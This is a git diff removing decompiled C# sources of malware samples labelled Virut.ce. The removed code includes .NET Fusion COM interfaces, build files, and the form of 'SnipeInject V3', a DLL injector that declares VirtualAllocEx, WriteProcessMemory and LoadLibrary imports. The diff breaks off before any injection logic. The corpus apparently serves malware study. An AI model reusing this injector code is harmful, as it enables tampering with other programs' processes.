b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyName.cs deleted file mode 100644 index 957d28e1..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyName.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MsGac.Fusion.Native.IAssemblyName -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; - -namespace MsGac.Fusion.Native -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("CD193BC0-B4BC-11D2-9833-00C04FC31D2E")] - [ComImport] - internal interface IAssemblyName - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetProperty(ASM_NAME PropertyId, IntPtr pvProperty, uint cbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetProperty(ASM_NAME PropertyId, IntPtr pvProperty, ref uint pcbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Finalize(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDisplayName( - [MarshalAs(UnmanagedType.LPWStr), Out] StringBuilder szDisplayName, - ref uint pccDisplayName, - ASM_DISPLAY_FLAGS dwDisplayFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int BindToObject( - ref Guid refIID, - [MarshalAs(UnmanagedType.IUnknown)] object pUnkSink, - [MarshalAs(UnmanagedType.IUnknown)] object pUnkContext, - [MarshalAs(UnmanagedType.LPWStr)] string szCodeBase, - long llFlags, - IntPtr pvReserved, - uint cbReserved, - out IntPtr ppv); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetName(ref uint lpcwBuffer, [MarshalAs(UnmanagedType.LPWStr), Out] StringBuilder pwzName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetVersion(out uint pdwVersionHi, out uint pdwVersionLow); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsEqual(IAssemblyName pName, ASM_CMP_FLAGS dwCmpFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Clone(out IAssemblyName pName); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IHistoryReader.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IHistoryReader.cs deleted file mode 100644 index 4c091f0a..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IHistoryReader.cs +++ /dev/null @@ -1,41 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MsGac.Fusion.Native.IHistoryReader -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; - -namespace MsGac.Fusion.Native -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("1D23DF4D-A1E2-4B8B-93D6-6EA3DC285A54")] - [ComImport] - internal interface IHistoryReader - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetFilePath([MarshalAs(UnmanagedType.LPWStr), Out] StringBuilder wzFilePath, ref uint pdwSize); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetApplicationName([MarshalAs(UnmanagedType.LPWStr), Out] StringBuilder wzAppName, ref uint pdwSize); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetEXEModulePath([MarshalAs(UnmanagedType.LPWStr), Out] StringBuilder wzExePath, ref uint pdwSize); - - void GetNumActivations(out uint pdwNumActivations); - - void GetActivationDate(uint dwIdx, out long pftDate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRunTimeVersion( - ref long pftActivationDate, - [MarshalAs(UnmanagedType.LPWStr), Out] StringBuilder wzRunTimeVersion, - ref uint pdwSize); - - void GetNumAssemblies(ref long pftActivationDate, out uint pdwNumAsms); - - void GetHistoryAssembly(ref long pftActivationDate, uint dwIdx, [MarshalAs(UnmanagedType.IUnknown)] out object ppHistAsm); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IInstallReferenceEnum.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IInstallReferenceEnum.cs deleted file mode 100644 index 4ba59df2..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IInstallReferenceEnum.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MsGac.Fusion.Native.IInstallReferenceEnum -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace MsGac.Fusion.Native -{ - [Guid("56b1a988-7c0c-4aa2-8639-c3eb5a90226f")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface IInstallReferenceEnum - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNextInstallReferenceItem( - out IInstallReferenceItem ppRefItem, - uint dwFlags, - IntPtr pvReserved); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IInstallReferenceItem.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IInstallReferenceItem.cs deleted file mode 100644 index 1d1969d1..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IInstallReferenceItem.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MsGac.Fusion.Native.IInstallReferenceItem -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace MsGac.Fusion.Native -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("582dac66-e678-449f-aba6-6faaec8a9394")] - [ComImport] - internal interface IInstallReferenceItem - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetReference(out IntPtr ppRefData, uint dwFlags, IntPtr pvReserved); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/Virus.Win32.Virut.ce.csproj b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/Virus.Win32.Virut.ce.csproj deleted file mode 100644 index 9c901829..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/Virus.Win32.Virut.ce.csproj +++ /dev/null @@ -1,63 +0,0 @@ - - - - - Debug - AnyCPU - {BBF41E26-6C2F-451D-BB87-A53058B4810F} - WinExe - CCCInstall - 2.0.3163.17516 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/Virus.Win32.Virut.ce.sln b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/Virus.Win32.Virut.ce.sln deleted file mode 100644 index 626b84ce..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/Virus.Win32.Virut.ce.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CCCInstall", "Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.csproj", "{BBF41E26-6C2F-451D-BB87-A53058B4810F}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {BBF41E26-6C2F-451D-BB87-A53058B4810F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {BBF41E26-6C2F-451D-BB87-A53058B4810F}.Debug|Any CPU.Build.0 = Debug|Any CPU - {BBF41E26-6C2F-451D-BB87-A53058B4810F}.Release|Any CPU.ActiveCfg = Release|Any CPU - {BBF41E26-6C2F-451D-BB87-A53058B4810F}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/AssemblyInfo.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/AssemblyInfo.cs deleted file mode 100644 index 7d4e8444..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyProduct("SnipeInject V3")] -[assembly: AssemblyTitle("SnipeInject V3")] -[assembly: AssemblyCopyright("Copyright © Microsoft 2011")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCompany("Microsoft")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("f3ae72cf-6018-44b6-8385-583ad3467732")] -[assembly: ComVisible(false)] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Form1.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Form1.cs deleted file mode 100644 index 9e43b577..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Form1.cs +++ /dev/null @@ -1,752 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SnipeInject_V3.Form1 -// Assembly: SnipeInject V3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4B17C691-AC0C-43B1-A878-F82F3184CC13 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace SnipeInject_V3 -{ - [DesignerGenerated] - public class Form1 : Form - { - private static List __ENCList = new List(); - private IContainer components; - [AccessedThroughProperty("Label2")] - private Label _Label2; - [AccessedThroughProperty("Label4")] - private Label _Label4; - [AccessedThroughProperty("TextBox1")] - private TextBox _TextBox1; - [AccessedThroughProperty("Timer1")] - private Timer _Timer1; - [AccessedThroughProperty("OpenFileDialog1")] - private OpenFileDialog _OpenFileDialog1; - [AccessedThroughProperty("Dlls")] - private ListBox _Dlls; - [AccessedThroughProperty("CheckBox1")] - private CheckBox _CheckBox1; - [AccessedThroughProperty("CheckBox2")] - private CheckBox _CheckBox2; - [AccessedThroughProperty("CheckBox3")] - private CheckBox _CheckBox3; - [AccessedThroughProperty("Button1")] - private Button _Button1; - [AccessedThroughProperty("Button2")] - private Button _Button2; - [AccessedThroughProperty("Button3")] - private Button _Button3; - [AccessedThroughProperty("Button4")] - private Button _Button4; - [AccessedThroughProperty("GroupBox1")] - private GroupBox _GroupBox1; - [AccessedThroughProperty("GroupBox2")] - private GroupBox _GroupBox2; - [AccessedThroughProperty("Label6")] - private Label _Label6; - [AccessedThroughProperty("Label1")] - private Label _Label1; - private int TargetProcessHandle; - private int pfnStartAddr; - private string pszLibFileRemote; - private int TargetBufferSize; - public const int PROCESS_VM_READ = 16; - public const int TH32CS_SNAPPROCESS = 2; - public const int MEM_COMMIT = 4096; - public const int PAGE_READWRITE = 4; - public const int PROCESS_CREATE_THREAD = 2; - public const int PROCESS_VM_OPERATION = 8; - public const int PROCESS_VM_WRITE = 32; - private string DLLFileName; - private string ExeName; - - [DebuggerNonUserCode] - static Form1() - { - } - - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - Form1.__ENCAddToList((object) this); - this.ExeName = Path.GetFileNameWithoutExtension(Application.ExecutablePath); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - private static void __ENCAddToList(object value) - { - lock (Form1.__ENCList) - { - if (Form1.__ENCList.Count == Form1.__ENCList.Capacity) - { - int index1 = 0; - int num = checked (Form1.__ENCList.Count - 1); - int index2 = 0; - while (index2 <= num) - { - if (Form1.__ENCList[index2].IsAlive) - { - if (index2 != index1) - Form1.__ENCList[index1] = Form1.__ENCList[index2]; - checked { ++index1; } - } - checked { ++index2; } - } - Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1)); - Form1.__ENCList.Capacity = Form1.__ENCList.Count; - } - Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value))); - } - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1)); - this.Label2 = new Label(); - this.Label4 = new Label(); - this.TextBox1 = new TextBox(); - this.Timer1 = new Timer(this.components); - this.OpenFileDialog1 = new OpenFileDialog(); - this.Dlls = new ListBox(); - this.CheckBox1 = new CheckBox(); - this.CheckBox2 = new CheckBox(); - this.CheckBox3 = new CheckBox(); - this.Button1 = new Button(); - this.Button2 = new Button(); - this.Button3 = new Button(); - this.Button4 = new Button(); - this.GroupBox1 = new GroupBox(); - this.GroupBox2 = new GroupBox(); - this.Label6 = new Label(); - this.Label1 = new Label(); - this.GroupBox1.SuspendLayout(); - this.SuspendLayout(); - this.Label2.AutoSize = true; - Label label2_1 = this.Label2; - Point point1 = new Point(22, 187); - Point point2 = point1; - label2_1.Location = point2; - this.Label2.Name = "Label2"; - Label label2_2 = this.Label2; - Size size1 = new Size(30, 13); - Size size2 = size1; - label2_2.Size = size2; - this.Label2.TabIndex = 1; - this.Label2.Text = "DLL:"; - this.Label4.AutoSize = true; - this.Label4.ForeColor = Color.Teal; - Label label4_1 = this.Label4; - point1 = new Point(13, 26); - Point point3 = point1; - label4_1.Location = point3; - this.Label4.Name = "Label4"; - Label label4_2 = this.Label4; - size1 = new Size(40, 13); - Size size3 = size1; - label4_2.Size = size3; - this.Label4.TabIndex = 3; - this.Label4.Text = "Status:"; - TextBox textBox1_1 = this.TextBox1; - point1 = new Point(92, 160); - Point point4 = point1; - textBox1_1.Location = point4; - this.TextBox1.Name = "TextBox1"; - TextBox textBox1_2 = this.TextBox1; - size1 = new Size(148, 20); - Size size4 = size1; - textBox1_2.Size = size4; - this.TextBox1.TabIndex = 4; - this.OpenFileDialog1.FileName = "OpenFileDialog1"; - this.OpenFileDialog1.Multiselect = true; - this.Dlls.FormattingEnabled = true; - ListBox dlls1 = this.Dlls; - point1 = new Point(92, 187); - Point point5 = point1; - dlls1.Location = point5; - this.Dlls.Name = "Dlls"; - ListBox dlls2 = this.Dlls; - size1 = new Size(148, 134); - Size size5 = size1; - dlls2.Size = size5; - this.Dlls.TabIndex = 5; - this.CheckBox1.AutoSize = true; - CheckBox checkBox1_1 = this.CheckBox1; - point1 = new Point(17, 19); - Point point6 = point1; - checkBox1_1.Location = point6; - this.CheckBox1.Name = "CheckBox1"; - CheckBox checkBox1_2 = this.CheckBox1; - size1 = new Size(135, 20); - Size size6 = size1; - checkBox1_2.Size = size6; - this.CheckBox1.TabIndex = 6; - this.CheckBox1.Text = "Close After Injection"; - this.CheckBox1.UseVisualStyleBackColor = true; - this.CheckBox2.AutoSize = true; - CheckBox checkBox2_1 = this.CheckBox2; - point1 = new Point(17, 42); - Point point7 = point1; - checkBox2_1.Location = point7; - this.CheckBox2.Name = "CheckBox2"; - CheckBox checkBox2_2 = this.CheckBox2; - size1 = new Size(130, 20); - Size size7 = size1; - checkBox2_2.Size = size7; - this.CheckBox2.TabIndex = 7; - this.CheckBox2.Text = "Automatic Injection"; - this.CheckBox2.UseVisualStyleBackColor = true; - this.CheckBox3.AutoSize = true; - CheckBox checkBox3_1 = this.CheckBox3; - point1 = new Point(17, 65); - Point point8 = point1; - checkBox3_1.Location = point8; - this.CheckBox3.Name = "CheckBox3"; - CheckBox checkBox3_2 = this.CheckBox3; - size1 = new Size(115, 20); - Size size8 = size1; - checkBox3_2.Size = size8; - this.CheckBox3.TabIndex = 8; - this.CheckBox3.Text = "Manual Injection"; - this.CheckBox3.UseVisualStyleBackColor = true; - Button button1_1 = this.Button1; - point1 = new Point(12, 218); - Point point9 = point1; - button1_1.Location = point9; - this.Button1.Name = "Button1"; - Button button1_2 = this.Button1; - size1 = new Size(75, 23); - Size size9 = size1; - button1_2.Size = size9; - this.Button1.TabIndex = 9; - this.Button1.Text = "Browse"; - this.Button1.UseVisualStyleBackColor = true; - Button button2_1 = this.Button2; - point1 = new Point(11, 247); - Point point10 = point1; - button2_1.Location = point10; - this.Button2.Name = "Button2"; - Button button2_2 = this.Button2; - size1 = new Size(75, 23); - Size size10 = size1; - button2_2.Size = size10; - this.Button2.TabIndex = 10; - this.Button2.Text = "Clear"; - this.Button2.UseVisualStyleBackColor = true; - Button button3_1 = this.Button3; - point1 = new Point(11, 276); - Point point11 = point1; - button3_1.Location = point11; - this.Button3.Name = "Button3"; - Button button3_2 = this.Button3; - size1 = new Size(75, 45); - Size size11 = size1; - button3_2.Size = size11; - this.Button3.TabIndex = 11; - this.Button3.Text = "Clear Selected"; - this.Button3.UseVisualStyleBackColor = true; - Button button4_1 = this.Button4; - point1 = new Point(128, 327); - Point point12 = point1; - button4_1.Location = point12; - this.Button4.Name = "Button4"; - Button button4_2 = this.Button4; - size1 = new Size(75, 36); - Size size12 = size1; - button4_2.Size = size12; - this.Button4.TabIndex = 12; - this.Button4.Text = "Inject"; - this.Button4.UseVisualStyleBackColor = true; - this.GroupBox1.BackColor = Color.Transparent; - this.GroupBox1.Controls.Add((Control) this.CheckBox1); - this.GroupBox1.Controls.Add((Control) this.CheckBox2); - this.GroupBox1.Controls.Add((Control) this.CheckBox3); - this.GroupBox1.Font = new Font("Arial Narrow", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.GroupBox1.ForeColor = Color.DarkOrange; - GroupBox groupBox1_1 = this.GroupBox1; - point1 = new Point(246, 236); - Point point13 = point1; - groupBox1_1.Location = point13; - this.GroupBox1.Name = "GroupBox1"; - GroupBox groupBox1_2 = this.GroupBox1; - size1 = new Size(150, 116); - Size size13 = size1; - groupBox1_2.Size = size13; - this.GroupBox1.TabIndex = 13; - this.GroupBox1.TabStop = false; - this.GroupBox1.Text = "Settings"; - this.GroupBox2.BackColor = Color.Transparent; - this.GroupBox2.Font = new Font("Arial Narrow", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - GroupBox groupBox2_1 = this.GroupBox2; - point1 = new Point(246, 155); - Point point14 = point1; - groupBox2_1.Location = point14; - this.GroupBox2.Name = "GroupBox2"; - GroupBox groupBox2_2 = this.GroupBox2; - size1 = new Size(152, 75); - Size size14 = size1; - groupBox2_2.Size = size14; - this.GroupBox2.TabIndex = 14; - this.GroupBox2.TabStop = false; - this.GroupBox2.Text = "Credits: Snipermon For MPGH"; - this.Label6.AutoSize = true; - Label label6_1 = this.Label6; - point1 = new Point(22, 163); - Point point15 = point1; - label6_1.Location = point15; - this.Label6.Name = "Label6"; - Label label6_2 = this.Label6; - size1 = new Size(48, 13); - Size size15 = size1; - label6_2.Size = size15; - this.Label6.TabIndex = 16; - this.Label6.Text = "Process:"; - this.Label1.AutoSize = true; - Label label1_1 = this.Label1; - point1 = new Point(68, 26); - Point point16 = point1; - label1_1.Location = point16; - this.Label1.Name = "Label1"; - Label label1_2 = this.Label1; - size1 = new Size(0, 13); - Size size16 = size1; - label1_2.Size = size16; - this.Label1.TabIndex = 17; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.BackgroundImage = (Image) componentResourceManager.GetObject("$this.BackgroundImage"); - this.BackgroundImageLayout = ImageLayout.Stretch; - size1 = new Size(401, 371); - this.ClientSize = size1; - this.Controls.Add((Control) this.Label1); - this.Controls.Add((Control) this.Label6); - this.Controls.Add((Control) this.GroupBox2); - this.Controls.Add((Control) this.GroupBox1); - this.Controls.Add((Control) this.Button4); - this.Controls.Add((Control) this.Button3); - this.Controls.Add((Control) this.Button2); - this.Controls.Add((Control) this.Button1); - this.Controls.Add((Control) this.Dlls); - this.Controls.Add((Control) this.TextBox1); - this.Controls.Add((Control) this.Label4); - this.Controls.Add((Control) this.Label2); - this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); - this.MaximizeBox = false; - this.Name = nameof (Form1); - this.Text = "SnipeInject V3"; - this.GroupBox1.ResumeLayout(false); - this.GroupBox1.PerformLayout(); - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual Label Label2 - { - [DebuggerNonUserCode] get => this._Label2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value; - } - - internal virtual Label Label4 - { - [DebuggerNonUserCode] get => this._Label4; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value; - } - - internal virtual TextBox TextBox1 - { - [DebuggerNonUserCode] get => this._TextBox1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value; - } - - internal virtual Timer Timer1 - { - [DebuggerNonUserCode] get => this._Timer1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual OpenFileDialog OpenFileDialog1 - { - [DebuggerNonUserCode] get => this._OpenFileDialog1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - CancelEventHandler cancelEventHandler = new CancelEventHandler(this.OpenFileDialog1_FileOk); - if (this._OpenFileDialog1 != null) - this._OpenFileDialog1.FileOk -= cancelEventHandler; - this._OpenFileDialog1 = value; - if (this._OpenFileDialog1 == null) - return; - this._OpenFileDialog1.FileOk += cancelEventHandler; - } - } - - internal virtual ListBox Dlls - { - [DebuggerNonUserCode] get => this._Dlls; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Dlls = value; - } - - internal virtual CheckBox CheckBox1 - { - [DebuggerNonUserCode] get => this._CheckBox1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox1 = value; - } - - internal virtual CheckBox CheckBox2 - { - [DebuggerNonUserCode] get => this._CheckBox2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.CheckBox2_CheckedChanged); - if (this._CheckBox2 != null) - this._CheckBox2.CheckedChanged -= eventHandler; - this._CheckBox2 = value; - if (this._CheckBox2 == null) - return; - this._CheckBox2.CheckedChanged += eventHandler; - } - } - - internal virtual CheckBox CheckBox3 - { - [DebuggerNonUserCode] get => this._CheckBox3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.CheckBox3_CheckedChanged); - if (this._CheckBox3 != null) - this._CheckBox3.CheckedChanged -= eventHandler; - this._CheckBox3 = value; - if (this._CheckBox3 == null) - return; - this._CheckBox3.CheckedChanged += eventHandler; - } - } - - internal virtual Button Button1 - { - [DebuggerNonUserCode] get => this._Button1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Button1_Click); - if (this._Button1 != null) - this._Button1.Click -= eventHandler; - this._Button1 = value; - if (this._Button1 == null) - return; - this._Button1.Click += eventHandler; - } - } - - internal virtual Button Button2 - { - [DebuggerNonUserCode] get => this._Button2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Button2_Click); - if (this._Button2 != null) - this._Button2.Click -= eventHandler; - this._Button2 = value; - if (this._Button2 == null) - return; - this._Button2.Click += eventHandler; - } - } - - internal virtual Button Button3 - { - [DebuggerNonUserCode] get => this._Button3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Button3_Click); - if (this._Button3 != null) - this._Button3.Click -= eventHandler; - this._Button3 = value; - if (this._Button3 == null) - return; - this._Button3.Click += eventHandler; - } - } - - internal virtual Button Button4 - { - [DebuggerNonUserCode] get => this._Button4; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Button4_Click); - if (this._Button4 != null) - this._Button4.Click -= eventHandler; - this._Button4 = value; - if (this._Button4 == null) - return; - this._Button4.Click += eventHandler; - } - } - - internal virtual GroupBox GroupBox1 - { - [DebuggerNonUserCode] get => this._GroupBox1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox1 = value; - } - - internal virtual GroupBox GroupBox2 - { - [DebuggerNonUserCode] get => this._GroupBox2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox2 = value; - } - - internal virtual Label Label6 - { - [DebuggerNonUserCode] get => this._Label6; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label6 = value; - } - - internal virtual Label Label1 - { - [DebuggerNonUserCode] get => this._Label1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value; - } - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ReadProcessMemory( - int hProcess, - int lpBaseAddress, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpBuffer, - int nSize, - ref int lpNumberOfBytesWritten); - - [DllImport("kernel32", EntryPoint = "LoadLibraryA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int LoadLibrary([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpLibFileName); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int VirtualAllocEx( - int hProcess, - int lpAddress, - int dwSize, - int flAllocationType, - int flProtect); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int WriteProcessMemory( - int hProcess, - int lpBaseAddress, - 